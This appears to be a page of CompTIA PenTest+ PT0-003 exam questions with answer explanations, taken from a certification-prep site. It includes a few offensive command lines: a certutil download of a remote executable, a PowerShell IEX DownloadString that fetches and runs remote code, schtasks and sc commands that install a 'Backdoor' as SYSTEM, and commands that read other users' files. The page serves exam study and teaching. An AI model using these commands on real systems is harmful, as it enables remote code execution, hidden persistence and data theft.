Pass the CompTIA PenTest+ PT0-003 Questions and answers with CertsForce

To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here’s why:

Using certutil.exe:

Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.

Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.

Comparison with Other Commands:

powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.

powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/ ") (C): Incorrect syntax for downloading and executing a script.

rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.

Using certutil.exe to download and execute a payload is a common and effective method.

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Dynamic Application Security Testing (DAST):

DAST tools interact with the running application from the outside, simulating attacks to identify security vulnerabilities.

They are particularly effective in identifying issues like SQL injection, XSS, CSRF, and other vulnerabilities in web applications.

DAST tools do not require access to the source code, making them suitable for black-box testing.

Advantages of DAST:

Real-World Testing: DAST simulates real-world attacks by interacting with the application in the same way a user would.

Comprehensive Coverage: Can identify vulnerabilities in all parts of the web application, including input fields, forms, and user interactions.

Automated Scanning: Automates the process of testing and identifying vulnerabilities, providing detailed reports on discovered issues.

Examples of DAST Tools:

OWASP ZAP (Zed Attack Proxy): An open-source DAST tool widely used for web application security testing.

Burp Suite: A popular commercial DAST tool that provides comprehensive scanning and testing capabilities.

Pentest References:

Web Application Testing: Understanding the importance of testing web applications for security vulnerabilities and the role of different testing methodologies.

Security Testing Tools: Familiarity with various security testing tools and their applications in penetration testing.

DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.

By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application's security.

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Since direct interaction with the ICS application is restricted, the best way to analyze network traffic without modifying the system is to use port mirroring on a firewall or network switch.

Option A (Port mirroring) ✅:

Correct. Port mirroring (SPAN) copies network traffic without modifying the host system.

Allows passive analysis of whether encryption is used.

Option B (Packet capture on the server) ❌:

Requires modifying the host, which is prohibited by the client.

Option C (Reconfiguring the app to use a proxy) ❌:

Modifies application settings, which violates the client’s terms.

Option D (Disabling certificate pinning) ❌:

Requires changes to security settings, which is not allowed in this scenario.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Passive Traffic Analysis for ICS Systems

If a wireless network uses weak encryption (e.g., WEP), attackers can capture and analyze packets to extract sensitive data.

Packet sniffing (Option C):

Tools like Wireshark, Aircrack-ng, and Kismet capture network packets.

Attackers analyze captured traffic to decrypt WEP encryption or extract plaintext credentials.

Wireshark is a network packet analyzer used to capture and analyze network traffic in real-time. During a penetration test, it is often used to inspect unencrypted communication to extract sensitive information like plaintext login credentials. Here's how it works:

Packet Capturing:Wireshark captures the network packets transmitted over a network interface. If a user logs in through an insecure communication protocol (e.g., HTTP, FTP, or Telnet), the credentials are transmitted in plaintext.

Traffic Filtering:Using filters (e.g., http, tcp.port == 21), the tester narrows down the relevant traffic to locate the login request and response packets.

Sensitive Data Extraction:Analyzing the captured packets reveals plaintext credentials in the data payload, such as in HTTP POST requests.

Exploit the Information:After extracting the plaintext credentials, the tester can attempt unauthorized access to resources using these credentials.

CompTIA Pentest+ References:

Domain 1.0 (Planning and Scoping)

Domain 2.0 (Information Gathering and Vulnerability Identification)

Wireshark Usage Guide

To reenter the system remotely after the patch for the recently exploited RCE vulnerability has been deployed, the penetration tester can use schtasks.exe and sc.exe.

schtasks.exe:

Purpose: Used to create, delete, and manage scheduled tasks on Windows systems.

Persistence: By creating a scheduled task, the tester can ensure a script or program runs at a specified time, providing a persistent backdoor.

Example:

schtasks /create /tn "Backdoor" /tr "C:\path\to\backdoor.exe" /sc daily /ru SYSTEM

sc.exe:

Purpose: Service Control Manager command-line tool used to manage Windows services.

Persistence: By creating or modifying a service to run a malicious executable, the tester can maintain persistent access.

Example:

sc create backdoor binPath= "C:\path\to\backdoor.exe" start= auto

Other Utilities:

rundll.exe: Used to run DLLs as applications, not typically used for persistence.

cmd.exe: General command prompt, not specifically used for creating persistence mechanisms.

chgusr.exe: Used to change install mode for Remote Desktop Session Host, not relevant for persistence.

netsh.exe: Used for network configuration, not typically used for persistence.

Pentest References:

Post-Exploitation: Establishing persistence is crucial to maintaining access after initial exploitation.

Windows Tools: Understanding how to leverage built-in Windows tools like schtasks.exe and sc.exe to create backdoors that persist through reboots and patches.

By using schtasks.exe and sc.exe, the penetration tester can set up persistent mechanisms that will allow reentry into the system even after the patch is applied.

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DIR_MODE=0777 configures new home directories to be created world-readable, world-writable, and world-executable (rwxrwxrwx). With such permissive permissions, any unprivileged local user can traverse into other users’ home directories, list files, read them, and even modify or replace them. That makes exposure of other users’ sensitive data the most likely and immediate outcome once the tester has any local user account.

Why the other options are less likely:

B. Unauthorized sudo execution: Requires membership in sudo/wheel or explicit entries in /etc/sudoers. Nothing in the snippet indicates that, and file mode on home dirs doesn’t grant sudo.

C. Hijacking default login shells: DSHELL=/bin/zsh only sets the default shell for new users. Replacing /bin/zsh or altering /etc/passwd would require root.

D. Corrupting the skeleton configuration: SKEL=/etc/systemd-conf/temp-skeleton is under /etc/…, which is root-owned on standard systems. A normal user cannot write there, so “corrupting the skeleton” is unlikely without privilege escalation.

Practical exploitation as a non-privileged user (illustrative):

# Find world-writable homes

find /home -maxdepth 1 -type d -perm -0002 -ls

# Read another user's files

cd /home/targetuser && ls -la && cat Documents/tax_return.pdf

(Depending on per-file permissions.)

CompTIA PenTest+ PT0-003 Objective Mapping (for study):

Domain 3.0 Attacks and Exploits

3.1 Exploit system vulnerabilities and misconfigurations (e.g., insecure file permissions leading to data exposure/privilege abuse).

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An external assessment focuses on testing the security of internet-facing services. Here’s why option C is correct:

External Assessment: It involves evaluating the security posture of services exposed to the internet, such as web servers, mail servers, and other public-facing infrastructure. The goal is to identify vulnerabilities that could be exploited by attackers from outside the organization’s network.

Segmentation: This type of assessment focuses on ensuring that different parts of a network are appropriately segmented to limit the spread of attacks. It’s more relevant to internal network architecture.

Mobile: This assessment targets mobile applications and devices, not general internet-facing services.

Web: While web assessments focus on web applications, the scope of an external assessment is broader and includes all types of internet-facing services.

References from Pentest:

Horizontall HTB: Highlights the importance of assessing external services to identify vulnerabilities that could be exploited from outside the network​​.

Luke HTB: Demonstrates the process of evaluating public-facing services to ensure their security​​.

Conclusion:

Option C, External, is the most appropriate type of assessment for targeting internet-facing services used by the client.

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Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.

The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.

Two best remediation options:

Restrict direct communications to App01.example.com to only approved components.

Require an additional authentication header value between CDN.example.com and App01.example.com.

Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.

Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.

Nmap Scan Observations:

CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.

App Server has open ports for HTTP, HTTPS, and filtered for MySQL.

DB Server has all ports filtered, typical for a database server that should not be directly accessible.

These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.